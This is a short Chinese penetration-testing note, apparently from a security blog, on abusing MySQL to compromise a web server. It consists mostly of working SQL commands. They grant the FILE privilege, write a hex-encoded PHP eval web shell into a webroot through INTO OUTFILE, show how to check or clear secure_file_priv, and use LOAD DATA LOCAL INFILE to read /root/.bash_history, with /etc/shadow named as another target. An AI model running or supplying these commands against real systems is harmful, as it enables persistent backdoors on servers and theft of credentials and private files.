在渗透测试的时候,我们使用into outfile快速写入一句话后门时经常会出现写入不了的情况:
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '../webroot/xxxxxx.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;

不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:
//查看配置项:
SHOW VARIABLES LIKE "secure_file_priv"

//如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:
select 123 into outfile '/var/lib/mysql-files/test1.txt '

//限制mysqld 不允许导入 | 导出:
mysqld --secure_file_prive=null

//限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:
mysqld --secure_file_priv=/tmp/

//不对mysqld 的导入 | 导出做限制:
cat /etc/my.cnf
[mysqld]
secure_file_priv=

//如果没有权限,mysql还有个低权限读文件漏洞,/etc/shadow /root/.bash_history都可以读出来,下面语句测试成功 for MYSQL 5.5.53:
drop table mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields terminated by ''
select * from mysql.m1

源链接

Hacking more

...